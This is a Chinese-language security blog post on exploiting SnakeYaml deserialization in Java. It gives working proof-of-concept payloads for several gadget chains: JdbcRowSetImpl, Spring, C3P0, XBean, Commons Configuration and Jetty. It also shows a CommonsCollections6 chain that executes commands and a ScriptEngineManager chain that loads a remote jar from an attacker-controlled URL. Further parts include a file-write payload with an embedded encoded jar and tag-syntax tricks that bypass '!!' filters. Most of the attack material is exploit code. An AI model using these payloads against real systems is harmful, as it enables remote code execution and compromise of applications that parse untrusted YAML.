SnakeYaml反序列化

SnakeYaml

SnakeYaml包主要用来解析yaml格式的内容,yaml语言比普通的xml与properties等配置文件的可读性更高,像是Spring系列就支持yaml的配置文件,而SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。

YAML基本格式要求:

  1. YAML大小写敏感
  2. 使用缩进代表层级关系
  3. 缩进只能使用空格,不能使用TAB,不要求空格个数,只需要相同层级左对齐(一般2个或4个空格)
<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

主要关注序列化与反序列化
SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。

  • Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;
  • Yaml.dump():将一个对象转化为yaml文件形式;

常用方法:

String  dump(Object data)
//将Java对象序列化为YAML字符串。
void    dump(Object data, Writer output)
//将Java对象序列化为YAML流。
String  dumpAll(Iterator<? extends Object> data)
//将一系列Java对象序列化为YAML字符串。
void    dumpAll(Iterator<? extends Object> data, Writer output)
//将一系列Java对象序列化为YAML流。
String  dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)
//将Java对象序列化为YAML字符串。
String  dumpAsMap(Object data)
#将Java对象序列化为YAML字符串。
<T> T   load(InputStream io)
//解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T   load(Reader io)
//解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T   load(String yaml)
//解析字符串中唯一的YAML文档,并生成相应的Java对象。
Iterable<Object>    loadAll(InputStream yaml)
//解析流中的所有YAML文档,并生成相应的Java对象。
Iterable<Object>    loadAll(Reader yaml)
//解析字符串中的所有YAML文档,并生成相应的Java对象。
Iterable<Object>    loadAll(String yaml)
//解析字符串中的所有YAML文档,并生成相应的Java对象。

示例

package snakeyaml;

import org.yaml.snakeyaml.Yaml;

public class test {
    public static void main(String[] args) {
        Person person = new Person("name",1);

        Yaml yaml = new Yaml();
        // 序列化
        String dump = yaml.dump(person);
        System.out.println(dump);

        // 反序列化
        Object load = yaml.load(dump);
        System.out.println(load);
    }
}
//输出
//!!snakeyaml.Person {age: 1, name: name}
//
//snakeyaml.Person@4d591d15
//

这里的!!类似于fastjson中的@type用于指定反序列化的全类名

反序列化过程中会触发set方法和构造方法。

利用链

JdbcRowSetImpl利用链 jndi

这里和fastjson的触发一致,调用com.sun.rowset.JdbcRowSetImpl#setDataSourceName为父类BaseRowSet的dataSource属性赋值
然后调用setAutoCommit为autoCommit赋值会调用connect方法
这个方法存在new InitialContext().lookup()且参数就是dataSourceName可控,于是可以触发JNDI注入

package snakeyaml;

import org.yaml.snakeyaml.Yaml;

public class JdbcRowSetImplJndi {
    public static void main(String[] args) {
        String payload = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"rmi://127.0.0.1:1099/aa\", autoCommit: true}";
        Yaml yaml = new Yaml();
        yaml.load(payload);
    }
}

Spring PropertyPathFactoryBean利用链 jndi

需要springframework依赖

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-beans</artifactId>
    <version>5.3.23</version>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-context</artifactId>
    <version>5.3.23</version>
</dependency>

这里两种payload,一个是空格缩进的,一个是{}的

package snakeyaml;

import org.yaml.snakeyaml.Yaml;

public class Springjndi {
    public static void main(String[] args) throws Error ,Exception{
        String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +
                "    targetBeanName: \"ldap://127.0.0.1:9999/test\"\n" +
                "    propertyPath: Sentiment\n" +
                "    beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
                "        shareableResources: [\"ldap://127.0.0.1:9999/test\"]";
        String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: \"ldap://127.0.0.1:9999/test\", propertyPath: \"whatever\", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: [\"ldap://127.0.0.1:9999/test\"]}}";
        Yaml yaml = new Yaml();
        yaml.load(payload);
    }
}

这里利用PropertyPathFactoryBean#setBeanFactory()方法,这里可以调用到任意类的getBean()方法。然后利用org.springframework.jndi.support.SimpleJndiBeanFactory#getBean()触发JNDI注入。

其中需要调用到getBean()方法,首先要满足isSingleton(this.targetBeanName)返回值为true.

this.shareableResources是一个HashSet对象,也就是利用setter方法设置this.shareableResources包含this.targetBeanName即可

2025-03-25T10:02:35.png

C3P0利用链

jndi

在C3P0中有一个基于fastjson进行JNDI注入和反序列化,同理也可以套用在snakeyaml链上

package snakeyaml;

import org.yaml.snakeyaml.Yaml;

public class c3p0jndi {
    public static void main(String[] args) {
        String payload = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource  {jndiName: \"ldap://127.0.0.1:9999/test\",  loginTimeout: \"0\"}";
        Yaml yaml = new Yaml();
        yaml.load(payload);
    }
}

反序列化

c3p0那边的hex反序列化也可以套用一下,这里用cc6来演示:

package snakeyaml;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.yaml.snakeyaml.Yaml;

import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class c3p0HexUnsercc6 {
    public static Map exp() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap1=new HashMap<>();
        LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"Atkx");
        HashMap<Object,Object> hashMap2=new HashMap<>();
        hashMap2.put(tiedMapEntry,"bbb");
        lazyMap.remove("Atkx");



        Class clazz=LazyMap.class;
        Field factoryField= clazz.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

        return hashMap2;
    }


    static void addHexAscii(byte b, StringWriter sw)
    {
        int ub = b & 0xff;
        int h1 = ub / 16;
        int h2 = ub % 16;
        sw.write(toHexDigit(h1));
        sw.write(toHexDigit(h2));
    }

    private static char toHexDigit(int h)
    {
        char out;
        if (h <= 9) out = (char) (h + 0x30);
        else out = (char) (h + 0x37);
        //System.err.println(h + ": " + out);
        return out;
    }

    //将类序列化为字节数组
    public static byte[] tobyteArray(Object o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bao);
        oos.writeObject(o);
        return bao.toByteArray();
    }

    //字节数组转十六进制
    public static String toHexAscii(byte[] bytes)
    {
        int len = bytes.length;
        StringWriter sw = new StringWriter(len * 2);
        for (int i = 0; i < len; ++i)
            addHexAscii(bytes[i], sw);
        return sw.toString();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException, ClassNotFoundException {
        String hex = toHexAscii(tobyteArray(exp()));
        System.out.println(hex);

        String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap:" + hex + ";\"}";
        Yaml yaml = new Yaml();
        yaml.load(poc);


    }
}

或者直接加载恶意反序列化对象来执行

java -jar ysoserial.jar CommonsCollections6 "calc" > calc.bin
//生成hex
package c3p0;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;

public class hex_alltohex {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream("E:\\ONE-FOX集成工具箱_V8公开版_by狐狸\\gui_scan\\yso\\calc.bin");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);

    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}
    

ScriptEngineManager利用链

该漏洞基于SPI机制

SPI ,全称为 Service Provider Interface,是一种服务发现机制。JDK通过java.util.ServiceLoder动态装载实现模块,在META-INF/services目录下的配置文件寻找实现类的类名,通过Class.forName加载进来,newInstance()反射创建对象,并存到缓存和列表里面。也就是动态为某个接口寻找服务实现。

而javax.script.ScriptEngineManager这个类的底层就利用了SPI机制:

ScriptEngineManager(ClassLoader loader) :此构造函数使用服务提供程序机制加载给定ClassLoader可见的ScriptEngineFactory的实现。 如果loader是null ,则加载与平台捆绑在一起的脚本引擎工厂

可以给定一个UrlClassLoader ,并使用SPI机制 (ServiceLoader 来提供) ,来加载远程的ScriptEngineFactory的实现类,那么就可以在远程服务器下,创建META-INF/services/javax.script.ScriptEngineFactory 文件,文件内容指定接口的实现类。

github上已经有现成的利用ScriptEngineManager利用方式的exp

package snakeyaml;

import org.yaml.snakeyaml.Yaml;

public class ScriptEngineManagerD {
    public static void main(String[] args) {
        String payload = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:7777/yaml-payload.jar\"]]]]";
        Yaml yaml = new Yaml();
        yaml.load(payload);
    }
}

//不出网的话就写本地文件进去,file:///yaml-payload.jar

先调用了init(),进行一些初始化设置之后调用initEngines()

2025-03-25T10:02:57.png

跟进在下边调用了return getServiceLoader(loader);,接着就是ServiceLoader.load(),对我们自定义的类进行初始化

2025-03-25T10:03:07.png

初始化完成后,回到ScriptEngineManager#initEngines()向下执行看到了两个方法hasNext()next():

hashNext获取全路径,并读取文件中的内容

next执行文件中对应的类,导致恶意代码执行

2025-03-25T10:03:17.png

本地文件写入

在fastjson中,可以通过如下命令进行文件写入,而snakeyaml利用方式在很多方面都有很大的相似之处

{
  "@type": "java.lang.AutoCloseable",
  "@type": "sun.rmi.server.MarshalOutputStream",
  "out": {
    "@type": "java.util.zip.InflaterOutputStream",
    "out": {
      "@type": "java.io.FileOutputStream",
      "file": "dst",
      "append": "false"
    },
    "infl": {
      "input": "eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
    },
    "bufLen": 1048576
  },
  "protocolVersion": 1
}

所以构造snakeyaml的payload:

!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["filePath"],false],!!java.util.zip.Inflater  { input: !!binary base64 },1048576]]

filepath是写入路径,base64是我们要写入文件的base64编码加个zlib inflate

2025-03-25T10:03:29.png

package snakeyaml;

import org.yaml.snakeyaml.Yaml;

public class fileoutput {
    public static void main(String[] args) {
        String payload = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"./yaml-payload.jar\"],false],!!java.util.zip.Inflater  { input: !!binary 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 },1048576]]\n";
        Yaml yaml = new Yaml();
        yaml.load(payload);
    }
}

写入本地之后就可以通过ScriptEngineManager方式进行本地读取了

public class SnakeYaml {
    public static void main(String[] args) {
        String payload = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"file:///yaml-payload.jar\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml();
        yaml.load(payload);
    }
}

Apache XBean

依赖

<dependency>
    <groupId>org.apache.xbean</groupId>
    <artifactId>xbean-naming</artifactId>
    <version>4.22</version>
</dependency>
package snakeyaml;

import org.yaml.snakeyaml.Yaml;

public class apachexbean {
    public static void main(String[] args) throws Error ,Exception{
            String poc = "!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\"foo\",!!javax.naming.Reference [foo, \"test\", \"http://127.0.0.1:7777/\"],!!org.apache.xbean.naming.context.WritableContext []]]";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

Apache Commons Configuration

依赖

<dependency>
    <groupId>commons-configuration</groupId>
    <artifactId>commons-configuration</artifactId>
    <version>1.10</version>
</dependency>

POC:

package snakeyaml;

import org.yaml.snakeyaml.Yaml;

public class apachecc {
    public static void main(String[] args) throws Error ,Exception{
        String poc = "\n" +
                "    ? !!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"ldap://127.0.0.1:9999/test\"]]";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

Jetty

<dependency>
    <groupId>org.eclipse.jetty</groupId>
    <artifactId>jetty-jndi</artifactId>
    <version>9.4.8.v20171121</version>
</dependency>
<dependency>
    <groupId>org.eclipse.jetty</groupId>
    <artifactId>jetty-plus</artifactId>
    <version>9.4.8.v20171121</version>
</dependency>
<dependency>
    <groupId>org.eclipse.jetty</groupId>
    <artifactId>jetty-util</artifactId>
    <version>9.4.8.v20171121</version>
</dependency>
package snakeyaml;

import org.yaml.snakeyaml.Yaml;

public class Resourcetest {
    public static void main(String[] args) throws Error ,Exception{
        String poc = "[!!org.eclipse.jetty.plus.jndi.Resource [\"__/obj\", !!javax.naming.Reference [\"foo\", \"Exec\", \"http://localhost:7777/\"]], !!org.eclipse.jetty.plus.jndi.Resource [\"obj/test\", !!java.lang.Object []]]\n";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

ByPass

https://b1ue.cn/archives/407.html

如果“不允许 yaml 中存在 !!”,将无法再指定恶意的反序列化类,也就构不成代码执行的威胁了。!! 就相当于 fastjson 里的 @type,用于指定要反序列化的全类名。

但是除了 !! 以为还有另外几种 TAG 的表示方式:

第一种是用!<TAG>来表示,只需要一个感叹号,尖括号里就是 TAG。

前面提到 !! 就是用来表示 TAG 的,会自动补全 TAG 前缀tag:yaml.org,2002:

所以要想反序列化恶意类就需要这样构造

!<tag:yaml.org,2002:javax.script.ScriptEngineManager> [!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL> ["http://127.0.0.1:7777/yaml-payload.jar"]]]]

第二种,需要在 yaml 中用%TAG声明一个 TAG

例如我声明 ! 的tag是 tag:yaml.org,2002:

%TAG !      tag:yaml.org,2002:

后面再调用 !str的话实际上就会把 TAG 前缀拼起来得到tag:yaml.org,2002:str

最终我构造的反序列化攻击payload如下

%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://127.0.0.1:7777/yaml-payload.jar"]]]]
最后修改:2025 年 03 月 25 日
如果觉得我的文章对你有用,请随意赞赏